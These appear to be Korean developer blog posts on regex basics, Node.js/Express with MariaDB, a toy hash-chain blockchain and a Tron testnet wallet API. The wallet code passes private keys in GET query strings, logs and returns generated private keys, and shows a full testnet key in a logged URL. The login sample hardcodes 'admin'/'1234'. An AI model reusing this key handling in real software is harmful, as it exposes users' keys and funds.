정규식 표현 정리

2019. 3. 28. 10:53

역슬레쉬

'use strict';

const string = '<h1>::: buy - 99,000 won :::</h1>';
const result1 = string.replace(/<h1>/g, '');
console.log('result1 :', result1);


const result2 = string.replace(/<h1>/g, '').replace(/<\/h1>/g, '');

// 역슬러쉬 정규식 표현시 앞에 사용
console.log('result2 :', result2);


 

.점

const string = '<h1>::: buy - </h1> <h2> 99,000 won :::</h2>';


const result1 = string.replace(/<..>/g, '');       // <..> 괄호속 어떤 문자2개면 삭제
const result2 = string.replace(/<.../g, '');        // <...  왼괄호 후  문자열3개 삭제


console.log('<..> : ', result1);
console.log('<...> : ', result2);

 

중괄호

'use strict';


const string = '<h1>::: buy - </h1> <h2> 99,000 won :::</h2>';
const stringDiv = '<div>::: buy - </div> <h2> 99,000 won :::</h2>';

const replaceH1 = string.replace(/<.{0,1}h1> /g, '');  // h1앞에 0,1글짜
const replaceTags = string.replace(/<.{0,4}> /g, '');  // > 앞에 0,4글짜

console.log(replaceH1);
console.log(replaceTags);

 

[]

const string = '<h1>::: buy - </h1> <h2> 99,000 won :::</h2>';

const Bracket = string.replace(/[()]/g, '');
const BracketComma = string.replace(/[()/\-,]/g, '');

 


console.log('before 전: ', string);
console.log('()after : ', Bracket);
console.log('/after : ', BracketComma);

 

 

 

 

'' 카테고리의 다른 글

express + morgan  (0) 2019.04.01
promise  (0) 2019.03.28
DB에 웹쉘코드 삽입 POC  (0) 2018.12.06
워드프레스 서버 이관  (0) 2018.09.03
PHPMailer 구글 SMTP 메일 보내기  (0) 2018.08.23
블로그 이미지

iesay

,

tron Token Balance (trc10)

트론 2019. 1. 29. 10:45

한 3일 삽질 한거 같은데 잘 안된다.

 

어제 자바스크립트 5만줄짜리 분석해보고 코딩 한줄도 못하고

오늘 다시 TronLink부터 차근 차근 분석 해볼려구 한다.

 

오늘 안에 제발 완료 되면 좋겠다.

 

시간은 잘 가서 좋긴한데 ㅎ

조금 답답한 면도 있다.

 

 

https://apilist.tronscan.org/api/account?address=TRWkuqvtjc6FXsbJhpnJNG7bB6CAwu6dfM

 

결과 json은 아래에서 파싱 하면 된다.

https://jsoneditoronline.org/

 

정말 허무하다.

아무거나 마음에 드는거 쓰면 된다.

router.get('/tokenBalance/:Address',function(req,res,next) {
 const app = async () => {
         try {
                const Add = req.params.Address;
                const gBalance = await tronWeb.trx.getAccount(Add);
                var token = gBalance.assetV2[0].value;
                res.json( { "getBalance  ": token})

                }catch (error) { console.log('Task Failure',error);
                }
        };
app();
});

 

블로그 이미지

iesay

,

nodejs - form submit

시스템 2019. 1. 22. 11:33

새로고침 없는 비동기로 새로운 방식이라고 한다.

 

 

nodejs - form submit

 

app.js


const express = require('express');
const app = express();
const bodyParser = require('body-parser');

app.use(express.static('public'));
app.use(bodyParser.urlencoded({extended: true}));

app.get('/', (req, res) => {
    res.sendfile('public/index.html');
});

app.post('/login', (req, res) => {
        console.log(req.body.userId, req.body.userPw);
    if(req.body.userId==='admin'&&req.body.userPw==='1234'){
        res.json({success:true});
    }else{
        res.json({success:false});
    }
});

app.listen(8000);

console.log("open 8000");


module.exports = app;


 

 

public/index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <script src="//code.jquery.com/jquery-latest.min.js"></script>
    <title>Hello</title>
    <script>
        $(document).ready(function (){
            $('#login').click(function () {
                $.ajax({
                    url: 'http://192.168.0.118:8000/login',
                    method : 'POST',
                    data: {userId : $('#id').val(), userPw: $('#pw').val()},
                    dataType: 'json'
                }).done(function(data){
                    if(data.success)
                        alert('로그인 성공');
                    else
                        alert('로그인 실패');
                }).fail(function (data){
                    alert('로그인 오류');
                })
            });
        });
    </script>
</head>
<body>
    <h1>로그인페이지</h1>
    <hr>
    아이디 <input type="text" id='id'>
    패스워드 <input type="password" id='pw'>
    <button id="login">로그인</button>

</body>
</html>

 

실행 결과

 

미들웨어 처리 함

root@tkpark-VirtualBox:~/project/myapp# yarn start
yarn run v1.13.0
$ node ./bin/www
open 8000
admin 1234
admin 1
admin 1
admin 1234
admin 1234

 

 

http://192.168.0.118:8000/

이제 기존의 route랑 연동해야겠다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'시스템' 카테고리의 다른 글

시놀리지 나스 synology nas(redmine plugin)설치  (2) 2019.04.29
pm2  (0) 2019.03.28
nodejs + mariadb 연동  (0) 2019.01.14
nodejs json파일 MongDB에 입력  (0) 2018.12.04
nodejs json파일 컨트롤  (0) 2018.12.04
블로그 이미지

iesay

,

출처 : https://gist.github.com/aunyks/8f2c2fd51cc17f342737917e1c2582e2

 

ex1.js 돌아는 간다.


const date = require('date-utils');
var dt = new Date();

 


var Block = new function(){
                this.index = 0;
                this.timestamp = dt.clone();
                this.data = "data :  Genesis Block"
                this.previous_hash = "0";
                this.hash = crypto.createHash("sha256").update(this.index + this.timestamp + this.data + this.previous_hash).digest("hex");
};


console.log("index : ", Block.index, "timestamp : ", Block.timestamp, "data : ", Block.data, "previous_hash : ", Block.previous_hash, "hash", Block.hash);

const next_block = async () => {
        try{
        Block.index = Block.index+1;
        Block.timestamp = dt.clone();
        Block.data = "Hey! I'm block " + Block.index;
        Block.previous_hash = Block.hash;
        Block.hash = crypto.createHash("sha256").update(Block.index + Block.timestamp + Block.data + Block.previous_hash).digest("hex");
        }catch (error) { console.log('Task Failure',error);}
}


var num_of_blocks_to_add = 20;

for(var i=0; i<num_of_blocks_to_add; i++){
        next_block();
        console.log("index : ", Block.index, "timestamp : ", Block.timestamp, "data : ", Block.data, "previous_hash : ", Block.previous_hash, "hash", Block.hash);
}
 

 

 

 

실행결과

root@tkpark-VirtualBox:~/project/myapp/routes# nodejs ex1.js
index :  0 timestamp :  2019-01-17T06:14:00.735Z data :  data :  Genesis Block previous_hash :  0 hash 435f39b1283eaaad92378228feb0ff217904cba051828ddbf87eb9049fc269fc
index :  1 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 1 previous_hash :  435f39b1283eaaad92378228feb0ff217904cba051828ddbf87eb9049fc269fc hash ea0b1c93cff5ad20bd1b300f339e557747cf92f9cccf18839069b9b34df40241
index :  2 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 2 previous_hash :  ea0b1c93cff5ad20bd1b300f339e557747cf92f9cccf18839069b9b34df40241 hash 27cd8f270c2d09ad2e7409f50ce9dd29d5141cfc1c62dcc2c189f7f7ad394ed1
index :  3 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 3 previous_hash :  27cd8f270c2d09ad2e7409f50ce9dd29d5141cfc1c62dcc2c189f7f7ad394ed1 hash dd12e07c03dd274850ed7071fe6e3009758c56361fcc6d64ca3befed4f683ab7
index :  4 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 4 previous_hash :  dd12e07c03dd274850ed7071fe6e3009758c56361fcc6d64ca3befed4f683ab7 hash efc128e74d5e32f761d11e63851431c84564b315f1ad2cf96e9b610f43a35a74
index :  5 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 5 previous_hash :  efc128e74d5e32f761d11e63851431c84564b315f1ad2cf96e9b610f43a35a74 hash 3bfb7ea0d0ae3183240976de82c100d7f83ce11a91faa6a2b5c79d4a889b525b
index :  6 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 6 previous_hash :  3bfb7ea0d0ae3183240976de82c100d7f83ce11a91faa6a2b5c79d4a889b525b hash 93e60df16e258ba4e40407f68a13763db2e741129ef15fa25b5d4c5f98d13f29
index :  7 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 7 previous_hash :  93e60df16e258ba4e40407f68a13763db2e741129ef15fa25b5d4c5f98d13f29 hash dc3bd4fb62dfb15ad82e44b3768e4bc03a2085efc66a20f3542d901bf0da535c
index :  8 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 8 previous_hash :  dc3bd4fb62dfb15ad82e44b3768e4bc03a2085efc66a20f3542d901bf0da535c hash 5ac36c5edca409f8d3fe1d7c6323cb6488542d0dfb80390b8211992af9e278dc
index :  9 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 9 previous_hash :  5ac36c5edca409f8d3fe1d7c6323cb6488542d0dfb80390b8211992af9e278dc hash df60da5103bb153495e36d26c5fe101ecc7f445a001ca0ec5010ac1e0ca70bf5
index :  10 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 10 previous_hash :  df60da5103bb153495e36d26c5fe101ecc7f445a001ca0ec5010ac1e0ca70bf5 hash 079808737914421f6fbeaaf20764a23fd984eb1b5384c0d64b127bf9b36b69d8
index :  11 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 11 previous_hash :  079808737914421f6fbeaaf20764a23fd984eb1b5384c0d64b127bf9b36b69d8 hash 38e6a98821aa193e9b24d009fdddadab4565388ef93b4bfbf25d3ddbb6e32623
index :  12 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 12 previous_hash :  38e6a98821aa193e9b24d009fdddadab4565388ef93b4bfbf25d3ddbb6e32623 hash f668b9c2521bfb9f4562557501914c6dcbf7dad2fa84c27437be72536c763023
index :  13 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 13 previous_hash :  f668b9c2521bfb9f4562557501914c6dcbf7dad2fa84c27437be72536c763023 hash 48dc2d11c14ad8dbcdc11908185e435162da6f0f653d52bbec3c92b8471d1660
index :  14 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 14 previous_hash :  48dc2d11c14ad8dbcdc11908185e435162da6f0f653d52bbec3c92b8471d1660 hash e1745d4dd8344bc8bd01aefbf59e2a347b0bd9a743bd5e2331c4707763111862
index :  15 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 15 previous_hash :  e1745d4dd8344bc8bd01aefbf59e2a347b0bd9a743bd5e2331c4707763111862 hash fcd3d0e8fd8eb2b90ec2a913085a32de9978cc4c8eb9365dd6fc98f7b6105967
index :  16 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 16 previous_hash :  fcd3d0e8fd8eb2b90ec2a913085a32de9978cc4c8eb9365dd6fc98f7b6105967 hash c545d471f6fc9fd388868b6d0cfdac607df6348f497a907874e71139d91126e9
index :  17 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 17 previous_hash :  c545d471f6fc9fd388868b6d0cfdac607df6348f497a907874e71139d91126e9 hash 4cae02f8716133366633d2ddb3a9bc87b13cee2898eb650f2a0c21f7e550ddb5
index :  18 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 18 previous_hash :  4cae02f8716133366633d2ddb3a9bc87b13cee2898eb650f2a0c21f7e550ddb5 hash e4aa549a98cf6412a4eea651849ef76165dd2bd5d9fee44ac394a58088d6a066
index :  19 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 19 previous_hash :  e4aa549a98cf6412a4eea651849ef76165dd2bd5d9fee44ac394a58088d6a066 hash 1f21c685f6aec8e4e3c5d985873fd00c57241612c7b12f9283b5324113c8b20b
index :  20 timestamp :  2019-01-17T06:14:00.735Z data :  Hey! I'm block 20 previous_hash :  1f21c685f6aec8e4e3c5d985873fd00c57241612c7b12f9283b5324113c8b20b hash a780596a78f9bf8570903f65c86bc88fc11dfc9c717379f5694953ce1209d637
root@tkpark-VirtualBox:~/project/myapp/routes#
 

 

 

 

 

 

 

 

 

 

 

 

 

블로그 이미지

iesay

,

nodejs + mariadb 연동

시스템 2019. 1. 14. 15:10

출처 : http://kamang-it.tistory.com/entry/NodeJSNodeJS%EC%99%80-MysqlMariaDB%EC%97%B0%EB%8F%99%ED%95%98%EA%B8%B0-expressJS-%EC%83%81%EC%97%90%EC%84%9C-%EA%B0%84%EB%8B%A8%ED%95%9C-%ED%9A%8C%EC%9B%90%EA%B0%80%EC%9E%85%EB%A1%9C%EA%B7%B8%EC%9D%B8%ED%9A%8C%EC%9B%90%ED%83%88%ED%87%B4-%EA%B5%AC%ED%98%84

 

우분투 18

mariadb 환경

root@tkpark-VirtualBox:~/project/myapp/routes# mysql -u tkpark -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 78
Server version: 10.1.34-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
 

 

 

 

index.js

module.exports = router;
var router = express.Router();

var mysql = require('mysql');

router.get('/', function (req, res, next) {
    var connection = mysql.createConnection({
        host: 'localhost',
        post: 3306,
        user: 'tkpark',
        password: '패스워드',
        database: 'tkpark'
    });
    connection.connect();
    connection.query('select * from transactionscan', function (err, rows, fields) {
        connection.end();
        if (!err) {
            console.log(rows);
            console.log(fields);
            var result = 'rows : ' + JSON.stringify(rows) + '<br><br>' +
                'fields : ' + JSON.stringify(fields);
            res.send(result);
        } else {
            console.log('query error : ' + err);
            res.send(err);
        }
    });
});


module.exports = router; 

 

실행결과

# yarn start
yarn run v1.12.3
$ node ./bin/www
[ RowDataPacket {
    idx: 1,
    from_address: 'TVcaZYGf94J5K6WkPsfSDVUu5cWreZz1h9',
    to_address: 'TY2HycNQV4qMRZF7TrmTqrAENG59tpsGix',
    amount: 1000000000000000000,
    txid: 'fc3e6e97d5619e186cb4c14ea6326965aa43df85619a6ccd74ee819767104e48' },
  RowDataPacket {
    idx: 2,
    from_address: 'TVcaZYGf94J5K6WkPsfSDVUu5cWreZz1h9',
    to_address: 'TY2HycNQV4qMRZF7TrmTqrAENG59tpsGix',
    amount: 10000000000,
    txid: 'fc3e6e97d5619e186cb4c14ea6326965aa43df85619a6ccd74ee819767104e48' },
  RowDataPacket {
    idx: 3,
    from_address: 'TVcaZYGf94J5K6WkPsfSDVUu5cWreZz1h9',
    to_address: 'TY2HycNQV4qMRZF7TrmTqrAENG59tpsGix',
    amount: 10000000000,
    txid: 'fc3e6e97d5619e186cb4c14ea6326965aa43df85619a6ccd74ee819767104e48' } ]
[ FieldPacket {
    catalog: 'def',
    db: 'tkpark',
    table: 'transactionscan',
    orgTable: 'transactionscan',
    name: 'idx',
    orgName: 'idx',
    charsetNr: 63,
    length: 11,
    type: 3,
    flags: 16899,
    decimals: 0,
    default: undefined,
    zeroFill: false,
    protocol41: true },
  FieldPacket {
    catalog: 'def',
    db: 'tkpark',
    table: 'transactionscan',
    orgTable: 'transactionscan',
    name: 'from_address',
    orgName: 'from_address',
    charsetNr: 33,
    length: 300,
    type: 253,
    flags: 4097,
    decimals: 0,
    default: undefined,
    zeroFill: false,
    protocol41: true },
  FieldPacket {
    catalog: 'def',
    db: 'tkpark',
    table: 'transactionscan',
    orgTable: 'transactionscan',
    name: 'to_address',
    orgName: 'to_address',
    charsetNr: 33,
    length: 300,
    type: 253,
    flags: 4097,
    decimals: 0,
    default: undefined,
    zeroFill: false,
    protocol41: true },
  FieldPacket {
    catalog: 'def',
    db: 'tkpark',
    table: 'transactionscan',
    orgTable: 'transactionscan',
    name: 'amount',
    orgName: 'amount',
    charsetNr: 63,
    length: 20,
    type: 8,
    flags: 4097,
    decimals: 0,
    default: undefined,
    zeroFill: false,
    protocol41: true },
  FieldPacket {
    catalog: 'def',
    db: 'tkpark',
    table: 'transactionscan',
    orgTable: 'transactionscan',
    name: 'txid',
    orgName: 'txid',
    charsetNr: 33,
    length: 450,
    type: 253,
    flags: 4097,
    decimals: 0,
    default: undefined,
    zeroFill: false,
    protocol41: true } ]
GET / 200 69.467 ms - 1770
 

 

 

mariadb모듈로 접근해보았는데 npm 설치하고

생각보다 잘 안붙는다

놀라지말고 위소스대로 잘 붙여 보길 바란다.

 

 

 

 

 

'시스템' 카테고리의 다른 글

pm2  (0) 2019.03.28
nodejs - form submit  (0) 2019.01.22
nodejs json파일 MongDB에 입력  (0) 2018.12.04
nodejs json파일 컨트롤  (0) 2018.12.04
Mongdb 설치 ubuntu 18  (0) 2018.11.30
블로그 이미지

iesay

,

TronScan(제작 완료)

트론 2019. 1. 10. 10:29

참고 : https://github.com/tronscan/tronscan-api

 

이더스캔은 이더스캔 API로 잠깐 깔짝 때보고 회사 업무상 트론을 계속 보게

 

되었는데  트랜젝션 조회 트론스캔을 어떻게 접근해야 될지 고민중이다.

 

지금 현재 트론 상황은  token발행 심볼때문에  몇몇 함수가 막혀 있다.

 

그중에 하나인 tronWeb.trx.getTransactionsRelated  도 지금 사용이 불가능다.

1. full node를 동기화시켜서 DB에 넣을지?

2. 특정 Token에 대한 것만 DB에  넣을지?

 

input /output에 대한 결과를 어떻게 사용자에게 보여주는게 좋을지 판단이 안선다.

 

그래서 우선  트론스캔에 있는 tx를 웹에서 파싱해서 한번 넣어보자...

API가 제공안하니 웹파싱해서 넣는다 해도 큰 무리는 없을것이다.

 

https://tronscan.org/#/transaction/51d1994d5d36693299bba3ed3002ca46849922fd80df0446acbd28609948d09d

index.js

var express = require('express');
var router = express.Router();
const TronWeb = require('tronweb');
const fullNode = 'https://api.shasta.trongrid.io';
const solidityNode = 'https://api.shasta.trongrid.io';
const eventServer = 'https://api.shasta.trongrid.io/';
var privateKey = '123';

var mysql = require('mysql');
var connection = mysql.createConnection({
        host: 'localhost',
        post: 3306,
        user: 'tkpark',
        password: '1234',
        database: 'tkpark'
    });
const tronWeb = new TronWeb(
fullNode,
solidityNode,
eventServer,
privateKey
  );
tronWeb.setDefaultBlock('latest');
const nodes = tronWeb.isConnected();
const connected = !Object.entries(nodes).map(([ name,   connected]) => {
        if (!connected)
                  console.error(`Error: $ {name}is not connected`);
        return connected;
}).includes(false);
if (!connected)
      res.json( {'result':'connect fail'})
router.get('/createAccount/',function(req,res,next) {
        const account = tronWeb.createAccount();
        account.then(function (account) { const isValid = tronWeb.isAddress(account.address['hex']);
                console.log('- Private Key:',   account.privateKey);
                console.log('- Base58:',        account.address.base58);
                console.log('- Valid: ',        isValid,        '\n');
                account.isValid = isValid;
                res.json( {'result':account.privateKey, '- Base58': account.address.base58});
        });
});
router.get('/getBalance/:Address',function(req,res,next) {
        const app = async () => {
                try {
                        const Add = req.params.Address;
                        const gBalance = await tronWeb.trx.getBalance(Add);
                        const gBandwidth = await tronWeb.trx.getBandwidth(Add);
                        console.log("getBalance : ", gBalance);
                        console.log("getBandwidth : ", gBandwidth);
                        console.log("   ", Add);
                        res.json( { "getBalance  ": gBalance, "getBandwidth": gBandwidth, "123": Add})
                }catch (error) { console.log('Task Failure',error);
                }
        };
        app();
});


router.get('/transactionview',function(req,res,next) {
                try{
                        var Address = req.query.Address;
                        var select_sql = "select *, \"send\" from transactionscan where from_address=? union all select *, \"receive\" from transactionscan where to_address=? order by idx desc;";
                        connection.query(select_sql, [Address, Address], function (err, rows, fields) {
                        if (!err) {
                                var resultdown = JSON.stringify(rows);
                                var TRList = JSON.parse(resultdown);
                                var Result_data = [];
                                for(var i=0; i<TRList.length; i++){
                                        var TR=TRList[i];
                                        var info = {
                                                send: TR.send,
                                                idx: TR.idx,
                                                from_address: TR.from_address,
                                                to_address: TR.to_address,
                                                amount: TR.amount,
                                                txid: "https://shasta.tronscan.org/#/transaction/"+ TR.txid
                                        };
                                        Result_data.push(info);
                                }
                                var result_end={
                                        count: Result_data.length, // count
                                        Result_data: Result_data
                                };
                                console.log(result_end);
                                res.send(result_end);
                                } else {
                                console.log('query error : ' + err);
                                }
                        });
                }catch (error) { console.log('Task Failure',error);
                }

});
router.get('/sendToken',function(req,res,next) {
        const app = async () => {
                try {
                        const gPK = req.query.PK;
                        privateKey = tronWeb.setPrivateKey(gPK);
                        const gvalue = req.query.value;
                        const gsendAddress = await tronWeb.address.fromPrivateKey(gPK);
                        const gtoAddress = req.query.toAddress;
                        var txid = "";
                        var result = "";
                        var insert_sql = "insert into transactionscan (from_address, to_address, amount, txid) values (?, ?, ?, ?)";
                        var select_sql = "select * from transactionscan where txid=?";
                        /*
                        console.log("gPK : ", gPK);
                        console.log("gvalue : ", gvalue);
                        console.log("gsendAddres :", gsendAddress);
                        console.log("gtoAddress : ", gtoAddress);
                        */
                       sendTransaction = await tronWeb.transactionBuilder.sendToken(gtoAddress, gvalue, "1002003", gsendAddress);

                        const signedTransaction = await tronWeb.trx.sign(sendTransaction);
                        const sendRaw = await tronWeb.trx.sendRawTransaction(signedTransaction);
                        result = JSON.stringify(sendRaw, null, 2);
                        var TRList = JSON.parse(result);
                        var txid = TRList.transaction.txID;
                        /*
                        console.log('- Transaction:\n' + TRList.transaction.txID);
                        res.json( { "gPK  ": gPK, "gvalue  ": gvalue, "gsendAddres ": gsendAddress, "gtoAddress": gtoAddress,'- Transaction:n': TRList.transaction.txID, "Transaction\n": JSON.stringify(sendRaw, null, 2)});
                        */

 var params = [gsendAddress, gtoAddress, gvalue, txid];
                        connection.query(insert_sql, params, function (err, rows, fields) {
                        if (!err) {
                                console.log('query error : ' + err);
                                //res.send(err);
                         }
                        });
                        connection.query(select_sql, txid, function (err, rows, fields) {
                        if (!err) {
                                console.log(rows);
                                var resultdown = 'rows : ' + JSON.stringify(rows);

                                res.send(resultdown);
                                } else {
                                console.log('query error : ' + err);
                                }
                        });
                        }catch (error) { console.log('Task Failure',error);
                }
        };
        app();
});

 

module.exports = router;

 

실행결과

 

계좌신청
http://192.168.0.118:3000/createAccount/

 

잔액조회 지갑주소
http://192.168.0.118:3000/getBalance/TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih
http://192.168.0.118:3000/getBalance/TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc

 

송금
http://192.168.0.118:3000/sendToken?PK=@@@@@&value=@@@@&toAddress=@@@@@@@@@@

송금시 API가 변경되어서 꼭 tronWeb.setPrivateKey로 다시 세팅하고

받는 사람 주소를 인자에 넣어야 된다.

 tronWeb.transactionBuilder.sendTrx(gtoAddress, gvalue, gsendAddress);

 

 

트렌젝선 조회
http://192.168.0.118:3000/transactionjson?Address=TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih

 

 

Mysql DB스키마

CREATE TABLE `transactionscan` (
  `idx` int(11) NOT NULL AUTO_INCREMENT,
  `from_address` varchar(100) NOT NULL COMMENT '보내는 사람 주소',
  `to_address` varchar(100) NOT NULL COMMENT '받는 사람  주소',
  `amount` bigint(20) NOT NULL COMMENT '양',
  `txid` varchar(150) NOT NULL COMMENT '트랜젝션 id',
  `regdate` datetime default current_timestamp,
  PRIMARY KEY (`idx`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='트랜젝션 조회 테이블';

 

MariaDB [tkpark]> desc transactionscan;
+--------------+--------------+------+-----+-------------------+----------------+
| Field        | Type         | Null | Key | Default           | Extra          |
+--------------+--------------+------+-----+-------------------+----------------+
| idx          | int(11)      | NO   | PRI | NULL              | auto_increment |
| from_address | varchar(100) | NO   |     | NULL              |                |
| to_address   | varchar(100) | NO   |     | NULL              |                |
| amount       | bigint(20)   | NO   |     | NULL              |                |
| txid         | varchar(150) | NO   |     | NULL              |                |
| regdate      | datetime     | YES  |     | CURRENT_TIMESTAMP |                |
+--------------+--------------+------+-----+-------------------+----------------+

 

 

 

select *, \"send\" from transactionscan where from_address=? union all select *, \"receive\" from transactionscan where to_address=? order by idx desc

해당 쿼리에 대한 결과다.

 

쿼리구문은 당연히 ?가 들어가는 prepared statement

sql 인젝션 방지까지 된다.

 

마지막 부분 조회할때는 지갑 A, B주소로  서로 송금 해보고

A주소로 조회시 send,

파란색 주소를  트랜젝션 조회하면  send한부분 recieve한 부분 보여진다.

빨간색 주소를 트랜잭션 조회해도  send한부분 recieve한 부분 보여진다.

 

트랜젝션 조회시 tronscan 원본에도 조회 되도록

https://shasta.tronscan.org/#/transaction/
4533bb973d7cd4dccc1805b0e43e2a7b341f0e02d23ab8febbe58b994fb8ee73

링크를 함께 뿌려주고 있다.

 

코드 좀 정리 해서 github 라는놈도 한번 써봐야곘다.

회사에서 필요하는 만큼 빨리 잘 만들었다.

 

Dapp 개발하면서 느끼지만 메인넷은 이더리움과 비트코인과 같이

글로벌한 천재들이 있던지

아니면 트론처럼 직원이 많아야 된다.

web3.js나 tronweb이나 API를 유지보수해야될 인력도 어마 어마하게

필요하기 때문이다.

 

 

 

 

 

블로그 이미지

iesay

,

요청시 계속  Pk와 wallet address를 토하는걸 제작중이다.

계좌 던졌을때 balance와 bandwidth를 조회하는것도 같이 한다.

대역폭은 수수료다 하루에 10번까지 예전에 보낸 기록이 있던 계좌면 무료다

 

 

index.js

var express = require('express');
var router = express.Router();
const TronWeb = require('tronweb');
const fullNode = 'https://api.shasta.trongrid.io';
const solidityNode = 'https://api.shasta.trongrid.io';
const eventServer = 'https://api.shasta.trongrid.io/';
var privateKey = '123';
const tronWeb = new TronWeb(
fullNode,
solidityNode,
eventServer,
privateKey
  );
tronWeb.setDefaultBlock('latest');
const nodes = tronWeb.isConnected();
const connected = !Object.entries(nodes).map(([ name, connected]) => {
 if (!connected)
           console.error(`Error: $ {name}is not connected`);
 return connected;
}).includes(false);
if (!connected)
      res.json( {'result':'connect fail'})
router.get('/createAccount/',function(req,res,next) {
 const account = tronWeb.createAccount();
 account.then(function (account) { const isValid = tronWeb.isAddress(account.address['hex']);
  console.log('- Private Key:', account.privateKey);
  console.log('- Base58:', account.address.base58);
  console.log('- Valid: ', isValid, '\n');
  account.isValid = isValid;
  res.json( {'result':account.privateKey, '- Base58': account.address.base58});
 });
});
router.get('/getBalance/:Address',function(req,res,next) {
 const app = async () => {
  try {
   const Add = req.params.Address;
   const gBalance = await tronWeb.trx.getBalance(Add);
   const gBandwidth = await tronWeb.trx.getBandwidth(Add);
   console.log("getBalance : ", gBalance);
   console.log("getBandwidth : ", gBandwidth);
   console.log("   ", Add);
   res.json( { "getBalance  ": gBalance, "getBandwidth": gBandwidth, "123": Add})
  }catch (error) { console.log('Task Failure',error);
  }
 };
 app();
});

router.get('/sendToken',function(req,res,next) {
        const app = async () => {
                try {
                        const gPK = req.query.PK;
                        privateKey = gPK;
                        const gvalue = req.query.value;
                        const gtoAddress = req.query.toAddress;

                        console.log("gPK : ", gPK);
                        console.log("gvalue : ", gvalue);
                        console.log("gtoAddress : ", gtoAddress);
                       sendTransaction = await tronWeb.transactionBuilder.sendToken(gtoAddress, gvalue, "1002003", gsendAddress);

                        const signedTransaction = await tronWeb.trx.sign(sendTransaction);
                        const sendRaw = await tronWeb.trx.sendRawTransaction(signedTransaction);
                        console.log('- Transaction:\n' + JSON.stringify(sendRaw, null, 2), '\n');

                        res.json( { "gPK  ": gPK, "gvalue  ": gvalue, "gtoAddress": gtoAddress, "Transaction\n": JSON.stringify(sendRaw, null, 2)});

                }catch (error) { console.log('Task Failure',error);
                }
        };
        app();
});


module.exports = router;

 

 

실행 화면

root@tkpark-VirtualBox:~/project/myapp/routes# yarn start
yarn run v1.12.3
$ node ./bin/www
getBalance :  19997900000
getBandwidth :  5000
    TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc
GET /getBalance/TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc 304 610.476 ms - -
- Private Key: AE3F46DE20C1EAF287DDA3CDE20A653031C67517FA87AA4641B271D314821F68
- Base58: TSqkCrLPJVxyuapdY5tjptBKFdR1bVEr5x
- Valid:  true

GET /createAccount/ 200 57.919 ms - 125
- Private Key: F64E51F20F91C6407B9B67A7D98BEA5D81F5F995D652E0AF2C663C4F76ED52B0
- Base58: THYQkYZ7nxWZ9YvMuaSDBYGKcXweTErbMb
- Valid:  true

GET /createAccount/ 200 41.523 ms - 125
getBalance :  19997900000
getBandwidth :  5000
    TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc
GET /getBalance/TMDBC4DoS1yQCjBgnPBJWnfTZN9rAKBUHc 304 560.224 ms - -
getBalance :  2000000
getBandwidth :  5000
    TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih
GET /getBalance/TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih 304 604.726 ms - -

 

root@tkpark-VirtualBox:~/project/myapp/routes# yarn start
yarn run v1.12.3
$ node ./bin/www
gPK :  @@@@@@@
gvalue :  1000000
gtoAddress :  TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih
- Transaction:
{
  "result": true,
  "transaction": {
    "txID": "651d95843f1a4e62c669550425a1844d800f7670b2071e7

2d10418ec724c4cad",
    "raw_data": {
      "contract": [
        {
          "parameter": {
            "value": {
              "amount": 1000000,
              "owner_address": "4179196b90d1e952c5a43d4847caa

08d50b967c34a",
              "to_address": "41b0720a94d13ef83434e1385b543c9

291c79a6d14"
            },
            "type_url": "type.googleapis.com/protocol.TransferContract"
          },
          "type": "TransferContract"
        }
      ],
      "ref_block_bytes": "49c0",
      "ref_block_hash": "5fff2fda293153a4",
      "expiration": 1547082969000,
      "timestamp": 1547082910093
    },
    "signature": [
      "1af3e48aa97d19a9465e2d56ac3b4541dd33abcbaea0c3dadab3a760c6b

2672c033692fe4454b6f2201d2d8bc4d39c806d84a5a4bfafa95a2e4

075a0aba376b700"
    ]
  }
}

GET /sendToken?PK=03f567e0189e1341a5c8d32817acf7dafcfbb3e2860599d2d4f322ff7b3

247ed&value=1000000&toAddress=TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih 200 742.649 ms - 1118
GET /favicon.ico 404 366.336 ms - 1012

 

 

계좌생성

http://192.168.0.118:3000/createAccount/

 

 

GET트랜젝션에서 지갑주소를 바꿔서 조회해도 잘 동작함

http://192.168.0.118:3000/getBalance/TS4AYYxrF38EA3fDw92mMWbWdFWRJ4VKih

 

차후  https로 하고 POST로 변경할것이다.

 

